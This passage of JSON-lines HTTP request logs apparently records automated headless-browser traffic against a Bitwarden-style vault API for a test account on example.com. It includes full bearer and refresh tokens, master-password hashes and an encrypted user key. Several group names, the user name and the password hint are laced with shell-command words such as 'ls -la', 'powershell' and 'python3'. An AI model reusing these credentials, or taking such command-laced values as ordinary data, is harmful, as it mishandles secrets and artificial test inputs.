"scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=b3f2eab7-0985-4f49-8ac6-7b1c20c83494&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "POST", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/groups", "headers": ["Host: example.com", "Content-Length: 67", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI1NTgsImV4cCI6MTc5NDI4OTc1OCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImIzZjJlYWI3LTA5ODUtNGY0OS04YWM2LTdiMWMyMGM4MzQ5NCIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.deeBF5u4DMhwPDwfi2N5CdCZhmdcwWhz4fUTo-S2LTfg68H-mwwHf1iprvXKbPJBvdaVhTfvsUI_Q5_BT_IQihIIMOzgJv8vhscC7urrM7B15MAN6_w6NTjR1H-Tgy0UszQKPuu99ucESPMca3pUFQxw7s8-zy3OesH-JZL-GuDYA7giyYpVtYMNB-E9CUkg4xCO4UAUzPrpHdDV09JOQQedaK2UydlR9A_TybeF5vA6ZqkscBlu_grJVCCr0qPTzB1JZ8TaMMSF7KWXMvzuzDAIXAOvJY2fl83wK9tCRWjH0JHgM-33F2AglKPgtfQJuGI17VgUURaTrSLeouECig", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"name\":\"powershell and ls -la admins\",\"collections\":[],\"users\":[]}"}
{"method": "GET", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/groups/13ab278e-005d-46b1-bd04-7ca13e811fa3/details", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI1NTgsImV4cCI6MTc5NDI4OTc1OCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImIzZjJlYWI3LTA5ODUtNGY0OS04YWM2LTdiMWMyMGM4MzQ5NCIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.deeBF5u4DMhwPDwfi2N5CdCZhmdcwWhz4fUTo-S2LTfg68H-mwwHf1iprvXKbPJBvdaVhTfvsUI_Q5_BT_IQihIIMOzgJv8vhscC7urrM7B15MAN6_w6NTjR1H-Tgy0UszQKPuu99ucESPMca3pUFQxw7s8-zy3OesH-JZL-GuDYA7giyYpVtYMNB-E9CUkg4xCO4UAUzPrpHdDV09JOQQedaK2UydlR9A_TybeF5vA6ZqkscBlu_grJVCCr0qPTzB1JZ8TaMMSF7KWXMvzuzDAIXAOvJY2fl83wK9tCRWjH0JHgM-33F2AglKPgtfQJuGI17VgUURaTrSLeouECig", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
{"method": "GET", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/groups/13ab278e-005d-46b1-bd04-7ca13e811fa3/users", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI1NTgsImV4cCI6MTc5NDI4OTc1OCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImIzZjJlYWI3LTA5ODUtNGY0OS04YWM2LTdiMWMyMGM4MzQ5NCIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.deeBF5u4DMhwPDwfi2N5CdCZhmdcwWhz4fUTo-S2LTfg68H-mwwHf1iprvXKbPJBvdaVhTfvsUI_Q5_BT_IQihIIMOzgJv8vhscC7urrM7B15MAN6_w6NTjR1H-Tgy0UszQKPuu99ucESPMca3pUFQxw7s8-zy3OesH-JZL-GuDYA7giyYpVtYMNB-E9CUkg4xCO4UAUzPrpHdDV09JOQQedaK2UydlR9A_TybeF5vA6ZqkscBlu_grJVCCr0qPTzB1JZ8TaMMSF7KWXMvzuzDAIXAOvJY2fl83wK9tCRWjH0JHgM-33F2AglKPgtfQJuGI17VgUURaTrSLeouECig", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
{"method": "PUT", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/groups/13ab278e-005d-46b1-bd04-7ca13e811fa3", "headers": ["Host: example.com", "Content-Length: 63", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI1NTgsImV4cCI6MTc5NDI4OTc1OCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImIzZjJlYWI3LTA5ODUtNGY0OS04YWM2LTdiMWMyMGM4MzQ5NCIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.deeBF5u4DMhwPDwfi2N5CdCZhmdcwWhz4fUTo-S2LTfg68H-mwwHf1iprvXKbPJBvdaVhTfvsUI_Q5_BT_IQihIIMOzgJv8vhscC7urrM7B15MAN6_w6NTjR1H-Tgy0UszQKPuu99ucESPMca3pUFQxw7s8-zy3OesH-JZL-GuDYA7giyYpVtYMNB-E9CUkg4xCO4UAUzPrpHdDV09JOQQedaK2UydlR9A_TybeF5vA6ZqkscBlu_grJVCCr0qPTzB1JZ8TaMMSF7KWXMvzuzDAIXAOvJY2fl83wK9tCRWjH0JHgM-33F2AglKPgtfQJuGI17VgUURaTrSLeouECig", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"name\":\"python3 .htaccess admins\",\"collections\":[],\"users\":[]}"}
{"method": "PUT", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b", "headers": ["Host: example.com", "Content-Length: 74", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI1NTgsImV4cCI6MTc5NDI4OTc1OCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImIzZjJlYWI3LTA5ODUtNGY0OS04YWM2LTdiMWMyMGM4MzQ5NCIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.deeBF5u4DMhwPDwfi2N5CdCZhmdcwWhz4fUTo-S2LTfg68H-mwwHf1iprvXKbPJBvdaVhTfvsUI_Q5_BT_IQihIIMOzgJv8vhscC7urrM7B15MAN6_w6NTjR1H-Tgy0UszQKPuu99ucESPMca3pUFQxw7s8-zy3OesH-JZL-GuDYA7giyYpVtYMNB-E9CUkg4xCO4UAUzPrpHdDV09JOQQedaK2UydlR9A_TybeF5vA6ZqkscBlu_grJVCCr0qPTzB1JZ8TaMMSF7KWXMvzuzDAIXAOvJY2fl83wK9tCRWjH0JHgM-33F2AglKPgtfQJuGI17VgUURaTrSLeouECig", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"name\":\"ls -la and powershell team\",\"billingEmail\":\"billing@example.com\"}"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 707", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "grant_type=refresh_token&client_id=web&refresh_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI1NTgsImV4cCI6MTc5Njg3NDU1OCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6InBhc3N3b3JkIiwiZGV2aWNlX3Rva2VuIjoiZ19obXg5MERzeWFnVk1hMFgxTjZjZ09lOVozVUJCR3QzeHlSU2hMY09pUHNUMnRjR3JLYUNFcmNFczZ3QTZoYWY0NzMzcjMxT21EQ1lmWC1WRHVSckE9PSIsInRva2VuIjpudWxsfQ.JEeinNhRivVlxRx6SD0QnrVSt13z1GLAZbraMbU5CfgU1DS2I5ESQMJcp16tx9IvKu2zjMlEYIIdmnqrUUWSMFTQCQOBhEFv2y8Mr_4SXXodqF5qW2jG-FJstKSDigp-4TkYZxVmAxK8nMFHkDmNMCM84Nn1oDLz_FTum1MmZON-kwDS67yxea9V3DSvhJI9IOu3a4pwxkiZwBrYpkjkaUd9AFIaxv-DcoCuJ3EJeS1VZpshKKUb-KQD3ISSq5tAJX8R2WmHgBykHak5Uzs1t_c1qi7LYNe_9XNM31ii8Cm4gJsoxWgLGdsej2xH1ktz149txBKRX3yufaCLpuZciQ"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=dc0a2793-b7c5-4348-8c5d-e1ec1fdb14f8&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "GET", "target": "/api/webauthn", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI2MTMsImV4cCI6MTc5NDI4OTgxMywiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImRjMGEyNzkzLWI3YzUtNDM0OC04YzVkLWUxZWMxZmRiMTRmOCIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.RUzXbQIEfZRz8uS9FG0oVgkzgxAcVfmLHlhgyEraX0ZIuCGLA_h5Y1KW55n806XJDWED_hl3PBpw1coJ_lwhctgP-O018CeffMQFPMGm9wEwziefuJ0HrXz_yKvPjz1gDdu7GW2zfThiFpyU0ScykPoJto3FLD9956J-hLbAZv4bEk9P1Xj1lzI01rJ0HfF_1YinoYK2I6ERjUeHDJy2mfA3k5pbNicrp57JJjKludvHqxo0RBPp5e0v4a4U21IE7OZiSe9LJfvBSnmqTh65nD_Xy3j7fWEyl_YBO5QAyPcMHzVWWVqbIbWY9dDz9QT3KHXIVribNsmRxhG3KUxrfg", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
{"method": "POST", "target": "/api/accounts/password-hint", "headers": ["Host: example.com", "Content-Length: 29", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Device-Identifier: fc64499f-572b-48fa-b7e2-30716d663f7c", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json; charset=utf-8", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"email\":\"alice@example.com\"}"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=a7e9b61e-1397-4e93-bee8-0678623b0292&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "POST", "target": "/api/accounts/password", "headers": ["Host: example.com", "Content-Length: 580", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI2NjEsImV4cCI6MTc5NDI4OTg2MSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImE3ZTliNjFlLTEzOTctNGU5My1iZWU4LTA2Nzg2MjNiMDI5MiIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.eVQbbodG1F4aGjOptlTR97tP7BwskXPqy02j_aBxWxDDAzhw1fCQk1Bw5YSzu9V_wiG-gYNaE8pOyZi-uxcPOukpIH8wU0eu2FWrVFovzCNrR64l1VmxMUWCmcsAB4lTy4WreZSjz5qw9_6oVp0akqVrFDMrAJrFqUfW0eZBoo1obSXbX9i_Gd7cFFekMn6G2tE3SaB_c4mLuwNX7yM9rhqm_t8LgJDeiaxOabDGFjnToFRx-7ThucD3GvdSUbdrrWc5IYnG0LUg5O-a1KGq8XXI7fACnqCLdyFnpeEsIn39XtJbjP4_uVeaXWHGNgAmU_j9YykvQK2tQba5hW__Cg", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json; charset=utf-8", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"masterPasswordHash\":\"PFTB756792a9joBcqKKHK61aPajhH+ALhFcnA4VMCms=\",\"authenticationData\":{\"salt\":\"alice@example.com\",\"kdf\":{\"iterations\":600000,\"kdfType\":0},\"masterPasswordAuthenticationHash\":\"q4vSK61/xBgUNLPLyCUuEsTdPQhQGCinB/TEPUqhvtM=\"},\"unlockData\":{\"salt\":\"alice@example.com\",\"kdf\":{\"iterations\":600000,\"kdfType\":0},\"masterKeyWrappedUserKey\":\"2.mtawyrPhhPA1be3e99PSzQ==|QFP1cXRwiFIkUrgN1T8sxBUfj6ByZYoa6MBQJtizghWmUEjSbAuVB6Ub/8H4avMMafotW55+6X6Mm+nn7ztW3DUU7jSaN38HkaXgyjL42WY=|pQvUwULSDKtL70EDcsasbLlahdqwBZWmuJu6MazRjts=\"},\"masterPasswordHint\":\"python3 notes and ls -la\"}"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 236", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=e1fc1704-a4b5-47bc-8ee1-41db0aaae9ec&deviceName=unknown&grant_type=password&username=alice%40example.com&password=q4vSK61%2FxBgUNLPLyCUuEsTdPQhQGCinB%2FTEPUqhvtM%3D"}
{"method": "POST", "target": "/api/accounts/password", "headers": ["Host: example.com", "Content-Length: 574", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI3MDgsImV4cCI6MTc5NDI4OTkwOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6ImZlMzkyZTlmLTBkODctNDczZi04N2ZmLWM4NzRlY2I5N2QxYiIsImRldmljZSI6ImUxZmMxNzA0LWE0YjUtNDdiYy04ZWUxLTQxZGIwYWFhZTllYyIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.b4Owd5xG_52ym1e04tZ3SxY3L-BxeiTqaEFgnxt6Ts3P0wcrmQAXyvu9q22Z7UibetQWlLxsZ-YBO5wzU1OnUHtMf2VbFKdSOATb4XzB7jxCm7M58_9nElwHpU5eBk1J7fE90SKsAmT6YZ5SjAkxGOWbFUhDEi59qng22-tJ_dGVGXQuJypfAi1_D6Osm63O5XALkXBvX0cKQamVoXGri8ntfux9AP2O1tDK1Qp1biLUWyOo0Me4re2kWbPMCnqxQyUbA0sl7TH2XCvg9NUEAaE5q4JObqyFfSZ7a0DTHsh8YH6BnL7RPM0SG4yg3Tbng5fSSy9XW8s1ir7DbUjgHA", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json; charset=utf-8", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": 